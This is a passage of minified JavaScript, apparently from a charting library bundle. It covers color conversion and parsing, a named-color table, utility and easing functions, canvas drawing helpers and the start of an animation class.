i=r.pop(),a=Object.keys(n[i]),o=a.length,s=0;s<o;s++){var l=a[s],u=t[l];-1===u.distance&&(u.distance=t[i].distance+1,u.parent=i,r.unshift(l))}return t}function i(e,t){return function(n){return t(e(n))}}function a(e,t){for(var r=[t[e].parent,e],a=n[t[e].parent][e],o=t[e].parent;t[o].parent;)r.unshift(t[o].parent),a=i(n[t[o].parent][o],a),o=t[o].parent;return a.conversion=r,a}n.rgb,n.hsl,n.hsv,n.hwb,n.cmyk,n.xyz,n.lab,n.lch,n.hex,n.keyword,n.ansi16,n.ansi256,n.hcg,n.apple,n.gray;var o={};Object.keys(n).forEach((function(e){o[e]={},Object.defineProperty(o[e],"channels",{value:n[e].channels}),Object.defineProperty(o[e],"labels",{value:n[e].labels});var t=function(e){for(var t=r(e),n={},i=Object.keys(t),o=i.length,s=0;s<o;s++){var l=i[s];null!==t[l].parent&&(n[l]=a(l,t))}return n}(e);Object.keys(t).forEach((function(n){var r=t[n];o[e][n]=function(e){var t=function(t){if(void 0===t||null===t)return t;arguments.length>1&&(t=Array.prototype.slice.call(arguments));var n=e(t);if("object"===typeof n)for(var r=n.length,i=0;i<r;i++)n[i]=Math.round(n[i]);return n};return"conversion"in e&&(t.conversion=e.conversion),t}(r),o[e][n].raw=function(e){var t=function(t){return void 0===t||null===t?t:(arguments.length>1&&(t=Array.prototype.slice.call(arguments)),e(t))};return"conversion"in e&&(t.conversion=e.conversion),t}(r)}))}));var s=o,l={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]},u={getRgba:c,getHsla:f,getRgb:function(e){var t=c(e);return t&&t.slice(0,3)},getHsl:function(e){var t=f(e);return t&&t.slice(0,3)},getHwb:h,getAlpha:function(e){var t=c(e);return t||(t=f(e))||(t=h(e))?t[3]:void 0},hexString:function(e,t){return t=void 0!==t&&3===e.length?t:e[3],"#"+g(e[0])+g(e[1])+g(e[2])+(t>=0&&t<1?g(Math.round(255*t)):"")},rgbString:function(e,t){return t<1||e[3]&&e[3]<1?d(e,t):"rgb("+e[0]+", "+e[1]+", "+e[2]+")"},rgbaString:d,percentString:function(e,t){if(t<1||e[3]&&e[3]<1)return p(e,t);var n=Math.round(e[0]/255*100),r=Math.round(e[1]/255*100),i=Math.round(e[2]/255*100);return"rgb("+n+"%, "+r+"%, "+i+"%)"},percentaString:p,hslString:function(e,t){return t<1||e[3]&&e[3]<1?m(e,t):"hsl("+e[0]+", "+e[1]+"%, "+e[2]+"%)"},hslaString:m,hwbString:function(e,t){return void 0===t&&(t=void 0!==e[3]?e[3]:1),"hwb("+e[0]+", "+e[1]+"%, "+e[2]+"%"+(void 0!==t&&1!==t?", "+t:"")+")"},keyword:function(e){return y[e.slice(0,3)]}};function c(e){if(e){var t=[0,0,0],n=1,r=e.match(/^#([a-fA-F0-9]{3,4})$/i),i="";if(r){i=(r=r[1])[3];for(var a=0;a<t.length;a++)t[a]=parseInt(r[a]+r[a],16);i&&(n=Math.round(parseInt(i+i,16)/255*100)/100)}else if(r=e.match(/^#([a-fA-F0-9]{6}([a-fA-F0-9]{2})?)$/i)){for(i=r[2],r=r[1],a=0;a<t.length;a++)t[a]=parseInt(r.slice(2*a,2*a+2),16);i&&(n=Math.round(parseInt(i,16)/255*100)/100)}else if(r=e.match(/^rgba?\(\s*([+-]?\d+)\s*,\s*([+-]?\d+)\s*,\s*([+-]?\d+)\s*(?:,\s*([+-]?[\d\.]+)\s*)?\)$/i)){for(a=0;a<t.length;a++)t[a]=parseInt(r[a+1]);n=parseFloat(r[4])}else if(r=e.match(/^rgba?\(\s*([+-]?[\d\.]+)\%\s*,\s*([+-]?[\d\.]+)\%\s*,\s*([+-]?[\d\.]+)\%\s*(?:,\s*([+-]?[\d\.]+)\s*)?\)$/i)){for(a=0;a<t.length;a++)t[a]=Math.round(2.55*parseFloat(r[a+1]));n=parseFloat(r[4])}else if(r=e.match(/(\w+)/)){if("transparent"==r[1])return[0,0,0,0];if(!(t=l[r[1]]))return}for(a=0;a<t.length;a++)t[a]=v(t[a],0,255);return n=n||0==n?v(n,0,1):1,t[3]=n,t}}function f(e){if(e){var t=e.match(/^hsla?\(\s*([+-]?\d+)(?:deg)?\s*,\s*([+-]?[\d\.]+)%\s*,\s*([+-]?[\d\.]+)%\s*(?:,\s*([+-]?[\d\.]+)\s*)?\)/);if(t){var n=parseFloat(t[4]);return[v(parseInt(t[1]),0,360),v(parseFloat(t[2]),0,100),v(parseFloat(t[3]),0,100),v(isNaN(n)?1:n,0,1)]}}}function h(e){if(e){var t=e.match(/^hwb\(\s*([+-]?\d+)(?:deg)?\s*,\s*([+-]?[\d\.]+)%\s*,\s*([+-]?[\d\.]+)%\s*(?:,\s*([+-]?[\d\.]+)\s*)?\)/);if(t){var n=parseFloat(t[4]);return[v(parseInt(t[1]),0,360),v(parseFloat(t[2]),0,100),v(parseFloat(t[3]),0,100),v(isNaN(n)?1:n,0,1)]}}}function d(e,t){return void 0===t&&(t=void 0!==e[3]?e[3]:1),"rgba("+e[0]+", "+e[1]+", "+e[2]+", "+t+")"}function p(e,t){return"rgba("+Math.round(e[0]/255*100)+"%, "+Math.round(e[1]/255*100)+"%, "+Math.round(e[2]/255*100)+"%, "+(t||e[3]||1)+")"}function m(e,t){return void 0===t&&(t=void 0!==e[3]?e[3]:1),"hsla("+e[0]+", "+e[1]+"%, "+e[2]+"%, "+t+")"}function v(e,t,n){return Math.min(Math.max(t,e),n)}function g(e){var t=e.toString(16).toUpperCase();return t.length<2?"0"+t:t}var y={};for(var b in l)y[l[b]]=b;var x=function e(t){return t instanceof e?t:this instanceof e?(this.valid=!1,this.values={rgb:[0,0,0],hsl:[0,0,0],hsv:[0,0,0],hwb:[0,0,0],cmyk:[0,0,0,0],alpha:1},void("string"===typeof t?(n=u.getRgba(t))?this.setValues("rgb",n):(n=u.getHsla(t))?this.setValues("hsl",n):(n=u.getHwb(t))&&this.setValues("hwb",n):"object"===typeof t&&(void 0!==(n=t).r||void 0!==n.red?this.setValues("rgb",n):void 0!==n.l||void 0!==n.lightness?this.setValues("hsl",n):void 0!==n.v||void 0!==n.value?this.setValues("hsv",n):void 0!==n.w||void 0!==n.whiteness?this.setValues("hwb",n):void 0===n.c&&void 0===n.cyan||this.setValues("cmyk",n)))):new e(t);var n};(x.prototype={isValid:function(){return this.valid},rgb:function(){return this.setSpace("rgb",arguments)},hsl:function(){return this.setSpace("hsl",arguments)},hsv:function(){return this.setSpace("hsv",arguments)},hwb:function(){return this.setSpace("hwb",arguments)},cmyk:function(){return this.setSpace("cmyk",arguments)},rgbArray:function(){return this.values.rgb},hslArray:function(){return this.values.hsl},hsvArray:function(){return this.values.hsv},hwbArray:function(){var e=this.values;return 1!==e.alpha?e.hwb.concat([e.alpha]):e.hwb},cmykArray:function(){return this.values.cmyk},rgbaArray:function(){var e=this.values;return e.rgb.concat([e.alpha])},hslaArray:function(){var e=this.values;return e.hsl.concat([e.alpha])},alpha:function(e){return void 0===e?this.values.alpha:(this.setValues("alpha",e),this)},red:function(e){return this.setChannel("rgb",0,e)},green:function(e){return this.setChannel("rgb",1,e)},blue:function(e){return this.setChannel("rgb",2,e)},hue:function(e){return e&&(e=(e%=360)<0?360+e:e),this.setChannel("hsl",0,e)},saturation:function(e){return this.setChannel("hsl",1,e)},lightness:function(e){return this.setChannel("hsl",2,e)},saturationv:function(e){return this.setChannel("hsv",1,e)},whiteness:function(e){return this.setChannel("hwb",1,e)},blackness:function(e){return this.setChannel("hwb",2,e)},value:function(e){return this.setChannel("hsv",2,e)},cyan:function(e){return this.setChannel("cmyk",0,e)},magenta:function(e){return this.setChannel("cmyk",1,e)},yellow:function(e){return this.setChannel("cmyk",2,e)},black:function(e){return this.setChannel("cmyk",3,e)},hexString:function(){return u.hexString(this.values.rgb)},rgbString:function(){return u.rgbString(this.values.rgb,this.values.alpha)},rgbaString:function(){return u.rgbaString(this.values.rgb,this.values.alpha)},percentString:function(){return u.percentString(this.values.rgb,this.values.alpha)},hslString:function(){return u.hslString(this.values.hsl,this.values.alpha)},hslaString:function(){return u.hslaString(this.values.hsl,this.values.alpha)},hwbString:function(){return u.hwbString(this.values.hwb,this.values.alpha)},keyword:function(){return u.keyword(this.values.rgb,this.values.alpha)},rgbNumber:function(){var e=this.values.rgb;return e[0]<<16|e[1]<<8|e[2]},luminosity:function(){for(var e=this.values.rgb,t=[],n=0;n<e.length;n++){var r=e[n]/255;t[n]=r<=.03928?r/12.92:Math.pow((r+.055)/1.055,2.4)}return.2126*t[0]+.7152*t[1]+.0722*t[2]},contrast:function(e){var t=this.luminosity(),n=e.luminosity();return t>n?(t+.05)/(n+.05):(n+.05)/(t+.05)},level:function(e){var t=this.contrast(e);return t>=7.1?"AAA":t>=4.5?"AA":""},dark:function(){var e=this.values.rgb;return(299*e[0]+587*e[1]+114*e[2])/1e3<128},light:function(){return!this.dark()},negate:function(){for(var e=[],t=0;t<3;t++)e[t]=255-this.values.rgb[t];return this.setValues("rgb",e),this},lighten:function(e){var t=this.values.hsl;return t[2]+=t[2]*e,this.setValues("hsl",t),this},darken:function(e){var t=this.values.hsl;return t[2]-=t[2]*e,this.setValues("hsl",t),this},saturate:function(e){var t=this.values.hsl;return t[1]+=t[1]*e,this.setValues("hsl",t),this},desaturate:function(e){var t=this.values.hsl;return t[1]-=t[1]*e,this.setValues("hsl",t),this},whiten:function(e){var t=this.values.hwb;return t[1]+=t[1]*e,this.setValues("hwb",t),this},blacken:function(e){var t=this.values.hwb;return t[2]+=t[2]*e,this.setValues("hwb",t),this},greyscale:function(){var e=this.values.rgb,t=.3*e[0]+.59*e[1]+.11*e[2];return this.setValues("rgb",[t,t,t]),this},clearer:function(e){var t=this.values.alpha;return this.setValues("alpha",t-t*e),this},opaquer:function(e){var t=this.values.alpha;return this.setValues("alpha",t+t*e),this},rotate:function(e){var t=this.values.hsl,n=(t[0]+e)%360;return t[0]=n<0?360+n:n,this.setValues("hsl",t),this},mix:function(e,t){var n=e,r=void 0===t?.5:t,i=2*r-1,a=this.alpha()-n.alpha(),o=((i*a===-1?i:(i+a)/(1+i*a))+1)/2,s=1-o;return this.rgb(o*this.red()+s*n.red(),o*this.green()+s*n.green(),o*this.blue()+s*n.blue()).alpha(this.alpha()*r+n.alpha()*(1-r))},toJSON:function(){return this.rgb()},clone:function(){var e,t,n=new x,r=this.values,i=n.values;for(var a in r)r.hasOwnProperty(a)&&(e=r[a],"[object Array]"===(t={}.toString.call(e))?i[a]=e.slice(0):"[object Number]"===t?i[a]=e:console.error("unexpected color value:",e));return n}}).spaces={rgb:["red","green","blue"],hsl:["hue","saturation","lightness"],hsv:["hue","saturation","value"],hwb:["hue","whiteness","blackness"],cmyk:["cyan","magenta","yellow","black"]},x.prototype.maxes={rgb:[255,255,255],hsl:[360,100,100],hsv:[360,100,100],hwb:[360,100,100],cmyk:[100,100,100,100]},x.prototype.getValues=function(e){for(var t=this.values,n={},r=0;r<e.length;r++)n[e.charAt(r)]=t[e][r];return 1!==t.alpha&&(n.a=t.alpha),n},x.prototype.setValues=function(e,t){var n,r,i=this.values,a=this.spaces,o=this.maxes,l=1;if(this.valid=!0,"alpha"===e)l=t;else if(t.length)i[e]=t.slice(0,e.length),l=t[e.length];else if(void 0!==t[e.charAt(0)]){for(n=0;n<e.length;n++)i[e][n]=t[e.charAt(n)];l=t.a}else if(void 0!==t[a[e][0]]){var u=a[e];for(n=0;n<e.length;n++)i[e][n]=t[u[n]];l=t.alpha}if(i.alpha=Math.max(0,Math.min(1,void 0===l?i.alpha:l)),"alpha"===e)return!1;for(n=0;n<e.length;n++)r=Math.max(0,Math.min(o[e][n],i[e][n])),i[e][n]=Math.round(r);for(var c in a)c!==e&&(i[c]=s[e][c](i[e]));return!0},x.prototype.setSpace=function(e,t){var n=t[0];return void 0===n?this.getValues(e):("number"===typeof n&&(n=Array.prototype.slice.call(t)),this.setValues(e,n),this)},x.prototype.setChannel=function(e,t,n){var r=this.values[e];return void 0===n?r[t]:(n===r[t]||(r[t]=n,this.setValues(e,r)),this)},"undefined"!==typeof window&&(window.Color=x);var w=x,k={noop:function(){},uid:function(){var e=0;return function(){return e++}}(),isNullOrUndef:function(e){return null===e||"undefined"===typeof e},isArray:function(e){if(Array.isArray&&Array.isArray(e))return!0;var t=Object.prototype.toString.call(e);return"[object"===t.substr(0,7)&&"Array]"===t.substr(-6)},isObject:function(e){return null!==e&&"[object Object]"===Object.prototype.toString.call(e)},isFinite:function(e){function t(t){return e.apply(this,arguments)}return t.toString=function(){return e.toString()},t}((function(e){return("number"===typeof e||e instanceof Number)&&isFinite(e)})),valueOrDefault:function(e,t){return"undefined"===typeof e?t:e},valueAtIndexOrDefault:function(e,t,n){return k.valueOrDefault(k.isArray(e)?e[t]:e,n)},callback:function(e,t,n){if(e&&"function"===typeof e.call)return e.apply(n,t)},each:function(e,t,n,r){var i,a,o;if(k.isArray(e))if(a=e.length,r)for(i=a-1;i>=0;i--)t.call(n,e[i],i);else for(i=0;i<a;i++)t.call(n,e[i],i);else if(k.isObject(e))for(a=(o=Object.keys(e)).length,i=0;i<a;i++)t.call(n,e[o[i]],o[i])},arrayEquals:function(e,t){var n,r,i,a;if(!e||!t||e.length!==t.length)return!1;for(n=0,r=e.length;n<r;++n)if(i=e[n],a=t[n],i instanceof Array&&a instanceof Array){if(!k.arrayEquals(i,a))return!1}else if(i!==a)return!1;return!0},clone:function(e){if(k.isArray(e))return e.map(k.clone);if(k.isObject(e)){for(var t={},n=Object.keys(e),r=n.length,i=0;i<r;++i)t[n[i]]=k.clone(e[n[i]]);return t}return e},_merger:function(e,t,n,r){var i=t[e],a=n[e];k.isObject(i)&&k.isObject(a)?k.merge(i,a,r):t[e]=k.clone(a)},_mergerIf:function(e,t,n){var r=t[e],i=n[e];k.isObject(r)&&k.isObject(i)?k.mergeIf(r,i):t.hasOwnProperty(e)||(t[e]=k.clone(i))},merge:function(e,t,n){var r,i,a,o,s,l=k.isArray(t)?t:[t],u=l.length;if(!k.isObject(e))return e;for(r=(n=n||{}).merger||k._merger,i=0;i<u;++i)if(t=l[i],k.isObject(t))for(s=0,o=(a=Object.keys(t)).length;s<o;++s)r(a[s],e,t,n);return e},mergeIf:function(e,t){return k.merge(e,t,{merger:k._mergerIf})},extend:Object.assign||function(e){return k.merge(e,[].slice.call(arguments,1),{merger:function(e,t,n){t[e]=n[e]}})},inherits:function(e){var t=this,n=e&&e.hasOwnProperty("constructor")?e.constructor:function(){return t.apply(this,arguments)},r=function(){this.constructor=n};return r.prototype=t.prototype,n.prototype=new r,n.extend=k.inherits,e&&k.extend(n.prototype,e),n.__super__=t.prototype,n},_deprecated:function(e,t,n,r){void 0!==t&&console.warn(e+': "'+n+'" is deprecated. Please use "'+r+'" instead')}},_=k;k.callCallback=k.callback,k.indexOf=function(e,t,n){return Array.prototype.indexOf.call(e,t,n)},k.getValueOrDefault=k.valueOrDefault,k.getValueAtIndexOrDefault=k.valueAtIndexOrDefault;var M={linear:function(e){return e},easeInQuad:function(e){return e*e},easeOutQuad:function(e){return-e*(e-2)},easeInOutQuad:function(e){return(e/=.5)<1?.5*e*e:-.5*(--e*(e-2)-1)},easeInCubic:function(e){return e*e*e},easeOutCubic:function(e){return(e-=1)*e*e+1},easeInOutCubic:function(e){return(e/=.5)<1?.5*e*e*e:.5*((e-=2)*e*e+2)},easeInQuart:function(e){return e*e*e*e},easeOutQuart:function(e){return-((e-=1)*e*e*e-1)},easeInOutQuart:function(e){return(e/=.5)<1?.5*e*e*e*e:-.5*((e-=2)*e*e*e-2)},easeInQuint:function(e){return e*e*e*e*e},easeOutQuint:function(e){return(e-=1)*e*e*e*e+1},easeInOutQuint:function(e){return(e/=.5)<1?.5*e*e*e*e*e:.5*((e-=2)*e*e*e*e+2)},easeInSine:function(e){return 1-Math.cos(e*(Math.PI/2))},easeOutSine:function(e){return Math.sin(e*(Math.PI/2))},easeInOutSine:function(e){return-.5*(Math.cos(Math.PI*e)-1)},easeInExpo:function(e){return 0===e?0:Math.pow(2,10*(e-1))},easeOutExpo:function(e){return 1===e?1:1-Math.pow(2,-10*e)},easeInOutExpo:function(e){return 0===e?0:1===e?1:(e/=.5)<1?.5*Math.pow(2,10*(e-1)):.5*(2-Math.pow(2,-10*--e))},easeInCirc:function(e){return e>=1?e:-(Math.sqrt(1-e*e)-1)},easeOutCirc:function(e){return Math.sqrt(1-(e-=1)*e)},easeInOutCirc:function(e){return(e/=.5)<1?-.5*(Math.sqrt(1-e*e)-1):.5*(Math.sqrt(1-(e-=2)*e)+1)},easeInElastic:function(e){var t=1.70158,n=0,r=1;return 0===e?0:1===e?1:(n||(n=.3),r<1?(r=1,t=n/4):t=n/(2*Math.PI)*Math.asin(1/r),-r*Math.pow(2,10*(e-=1))*Math.sin((e-t)*(2*Math.PI)/n))},easeOutElastic:function(e){var t=1.70158,n=0,r=1;return 0===e?0:1===e?1:(n||(n=.3),r<1?(r=1,t=n/4):t=n/(2*Math.PI)*Math.asin(1/r),r*Math.pow(2,-10*e)*Math.sin((e-t)*(2*Math.PI)/n)+1)},easeInOutElastic:function(e){var t=1.70158,n=0,r=1;return 0===e?0:2===(e/=.5)?1:(n||(n=.45),r<1?(r=1,t=n/4):t=n/(2*Math.PI)*Math.asin(1/r),e<1?r*Math.pow(2,10*(e-=1))*Math.sin((e-t)*(2*Math.PI)/n)*-.5:r*Math.pow(2,-10*(e-=1))*Math.sin((e-t)*(2*Math.PI)/n)*.5+1)},easeInBack:function(e){var t=1.70158;return e*e*((t+1)*e-t)},easeOutBack:function(e){var t=1.70158;return(e-=1)*e*((t+1)*e+t)+1},easeInOutBack:function(e){var t=1.70158;return(e/=.5)<1?e*e*((1+(t*=1.525))*e-t)*.5:.5*((e-=2)*e*((1+(t*=1.525))*e+t)+2)},easeInBounce:function(e){return 1-M.easeOutBounce(1-e)},easeOutBounce:function(e){return e<1/2.75?7.5625*e*e:e<2/2.75?7.5625*(e-=1.5/2.75)*e+.75:e<2.5/2.75?7.5625*(e-=2.25/2.75)*e+.9375:7.5625*(e-=2.625/2.75)*e+.984375},easeInOutBounce:function(e){return e<.5?.5*M.easeInBounce(2*e):.5*M.easeOutBounce(2*e-1)+.5}},S={effects:M};_.easingEffects=M;var T=Math.PI,O=T/180,E=2*T,C=T/2,N=T/4,P=2*T/3,A={clear:function(e){e.ctx.clearRect(0,0,e.width,e.height)},roundedRect:function(e,t,n,r,i,a){if(a){var o=Math.min(a,i/2,r/2),s=t+o,l=n+o,u=t+r-o,c=n+i-o;e.moveTo(t,l),s<u&&l<c?(e.arc(s,l,o,-T,-C),e.arc(u,l,o,-C,0),e.arc(u,c,o,0,C),e.arc(s,c,o,C,T)):s<u?(e.moveTo(s,n),e.arc(u,l,o,-C,C),e.arc(s,l,o,C,T+C)):l<c?(e.arc(s,l,o,-T,0),e.arc(s,c,o,0,T)):e.arc(s,l,o,-T,T),e.closePath(),e.moveTo(t,n)}else e.rect(t,n,r,i)},drawPoint:function(e,t,n,r,i,a){var o,s,l,u,c,f=(a||0)*O;if(t&&"object"===typeof t&&("[object HTMLImageElement]"===(o=t.toString())||"[object HTMLCanvasElement]"===o))return e.save(),e.translate(r,i),e.rotate(f),e.drawImage(t,-t.width/2,-t.height/2,t.width,t.height),void e.restore();if(!(isNaN(n)||n<=0)){switch(e.beginPath(),t){default:e.arc(r,i,n,0,E),e.closePath();break;case"triangle":e.moveTo(r+Math.sin(f)*n,i-Math.cos(f)*n),f+=P,e.lineTo(r+Math.sin(f)*n,i-Math.cos(f)*n),f+=P,e.lineTo(r+Math.sin(f)*n,i-Math.cos(f)*n),e.closePath();break;case"rectRounded":u=n-(c=.516*n),s=Math.cos(f+N)*u,l=Math.sin(f+N)*u,e.arc(r-s,i-l,c,f-T,f-C),e.arc(r+l,i-s,c,f-C,f),e.arc(r+s,i+l,c,f,f+C),e.arc(r-l,i+s,c,f+C,f+T),e.closePath();break;case"rect":if(!a){u=Math.SQRT1_2*n,e.rect(r-u,i-u,2*u,2*u);break}f+=N;case"rectRot":s=Math.cos(f)*n,l=Math.sin(f)*n,e.moveTo(r-s,i-l),e.lineTo(r+l,i-s),e.lineTo(r+s,i+l),e.lineTo(r-l,i+s),e.closePath();break;case"crossRot":f+=N;case"cross":s=Math.cos(f)*n,l=Math.sin(f)*n,e.moveTo(r-s,i-l),e.lineTo(r+s,i+l),e.moveTo(r+l,i-s),e.lineTo(r-l,i+s);break;case"star":s=Math.cos(f)*n,l=Math.sin(f)*n,e.moveTo(r-s,i-l),e.lineTo(r+s,i+l),e.moveTo(r+l,i-s),e.lineTo(r-l,i+s),f+=N,s=Math.cos(f)*n,l=Math.sin(f)*n,e.moveTo(r-s,i-l),e.lineTo(r+s,i+l),e.moveTo(r+l,i-s),e.lineTo(r-l,i+s);break;case"line":s=Math.cos(f)*n,l=Math.sin(f)*n,e.moveTo(r-s,i-l),e.lineTo(r+s,i+l);break;case"dash":e.moveTo(r,i),e.lineTo(r+Math.cos(f)*n,i+Math.sin(f)*n)}e.fill(),e.stroke()}},_isPointInArea:function(e,t){return e.x>t.left-1e-6&&e.x<t.right+1e-6&&e.y>t.top-1e-6&&e.y<t.bottom+1e-6},clipArea:function(e,t){e.save(),e.beginPath(),e.rect(t.left,t.top,t.right-t.left,t.bottom-t.top),e.clip()},unclipArea:function(e){e.restore()},lineTo:function(e,t,n,r){var i=n.steppedLine;if(i){if("middle"===i){var a=(t.x+n.x)/2;e.lineTo(a,r?n.y:t.y),e.lineTo(a,r?t.y:n.y)}else"after"===i&&!r||"after"!==i&&r?e.lineTo(t.x,n.y):e.lineTo(n.x,t.y);e.lineTo(n.x,n.y)}else n.tension?e.bezierCurveTo(r?t.controlPointPreviousX:t.controlPointNextX,r?t.controlPointPreviousY:t.controlPointNextY,r?n.controlPointNextX:n.controlPointPreviousX,r?n.controlPointNextY:n.controlPointPreviousY,n.x,n.y):e.lineTo(n.x,n.y)}},z=A;_.clear=A.clear,_.drawRoundedRectangle=function(e){e.beginPath(),A.roundedRect.apply(A,arguments)};var D={_set:function(e,t){return _.merge(this[e]||(this[e]={}),t)}};D._set("global",{defaultColor:"rgba(0,0,0,0.1)",defaultFontColor:"#666",defaultFontFamily:"'Helvetica Neue', 'Helvetica', 'Arial', sans-serif",defaultFontSize:12,defaultFontStyle:"normal",defaultLineHeight:1.2,showLines:!0});var I=D,R=_.valueOrDefault,j={toLineHeight:function(e,t){var n=(""+e).match(/^(normal|(\d+(?:\.\d+)?)(px|em|%)?)$/);if(!n||"normal"===n[1])return 1.2*t;switch(e=+n[2],n[3]){case"px":return e;case"%":e/=100}return t*e},toPadding:function(e){var t,n,r,i;return _.isObject(e)?(t=+e.top||0,n=+e.right||0,r=+e.bottom||0,i=+e.left||0):t=n=r=i=+e||0,{top:t,right:n,bottom:r,left:i,height:t+r,width:i+n}},_parseFont:function(e){var t=I.global,n=R(e.fontSize,t.defaultFontSize),r={family:R(e.fontFamily,t.defaultFontFamily),lineHeight:_.options.toLineHeight(R(e.lineHeight,t.defaultLineHeight),n),size:n,style:R(e.fontStyle,t.defaultFontStyle),weight:null,string:""};return r.string=function(e){return!e||_.isNullOrUndef(e.size)||_.isNullOrUndef(e.family)?null:(e.style?e.style+" ":"")+(e.weight?e.weight+" ":"")+e.size+"px "+e.family}(r),r},resolve:function(e,t,n,r){var i,a,o,s=!0;for(i=0,a=e.length;i<a;++i)if(void 0!==(o=e[i])&&(void 0!==t&&"function"===typeof o&&(o=o(t),s=!1),void 0!==n&&_.isArray(o)&&(o=o[n],s=!1),void 0!==o))return r&&!s&&(r.cacheable=!1),o}},F={_factorize:function(e){var t,n=[],r=Math.sqrt(e);for(t=1;t<r;t++)e%t===0&&(n.push(t),n.push(e/t));return r===(0|r)&&n.push(r),n.sort((function(e,t){return e-t})).pop(),n},log10:Math.log10||function(e){var t=Math.log(e)*Math.LOG10E,n=Math.round(t);return e===Math.pow(10,n)?n:t}},L=F;_.log10=F.log10;var B=_,V=S,H=z,W=j,q=L,Y={getRtlAdapter:function(e,t,n){return e?function(e,t){return{x:function(n){return e+e+t-n},setWidth:function(e){t=e},textAlign:function(e){return"center"===e?e:"right"===e?"left":"right"},xPlus:function(e,t){return e-t},leftForLtr:function(e,t){return e-t}}}(t,n):{x:function(e){return e},setWidth:function(e){},textAlign:function(e){return e},xPlus:function(e,t){return e+t},leftForLtr:function(e,t){return e}}},overrideTextDirection:function(e,t){var n,r;"ltr"!==t&&"rtl"!==t||(r=[(n=e.canvas.style).getPropertyValue("direction"),n.getPropertyPriority("direction")],n.setProperty("direction",t,"important"),e.prevTextDirection=r)},restoreTextDirection:function(e){var t=e.prevTextDirection;void 0!==t&&(delete e.prevTextDirection,e.canvas.style.setProperty("direction",t[0],t[1]))}};B.easing=V,B.canvas=H,B.options=W,B.math=q,B.rtl=Y;var U=function(e){B.extend(this,e),this.initialize.apply(this,arguments)};B.extend(U.prototype,{_type:void 0,initialize:function(){this.hidden=!1},pivot:function(){var e=this;return e._view||(e._view=B.extend({},e._model)),e._start={},e},transition:function(e){var t=this,n=t._model,r=t._start,i=t._view;return n&&1!==e?(i||(i=t._view={}),r||(r=t._start={}),function(e,t,n,r){var i,a,o,s,l,u,c,f,h,d=Object.keys(n);for(i=0,a=d.length;i<a;++i)if(u=n[o=d[i]],t.hasOwnProperty(o)||(t[o]=u),(s=t[o])!==u&&"_"!==o[0]){if(e.hasOwnProperty(o)||(e[o]=s),(c=typeof u)===typeof(l=e[o]))if("string"===c){if((f=w(l)).valid&&(h=w(u)).valid){t[o]=h.mix(f,r).rgbString();continue}}else if(B.isFinite(l)&&B.isFinite(u)){t[o]=l+(u-l)*r;continue}t[o]=u}}(r,i,n,e),t):(t._view=B.extend({},n),t._start=null,t)},tooltipPosition:function(){return{x:this._model.x,y:this._model.y}},hasValue:function(){return B.isNumber(this._model.x)&&B.isNumber(this._model.y)}}),U.extend=B.inherits;var $=U,G=$.extend({chart:null,currentStep:0,numSteps:60,easing:"",render:null,onAnimationProgress:null,onAnimationComplete:null}),Z=G;Object.defineProperty(G.prototype,"animationObject",{get:function(){return 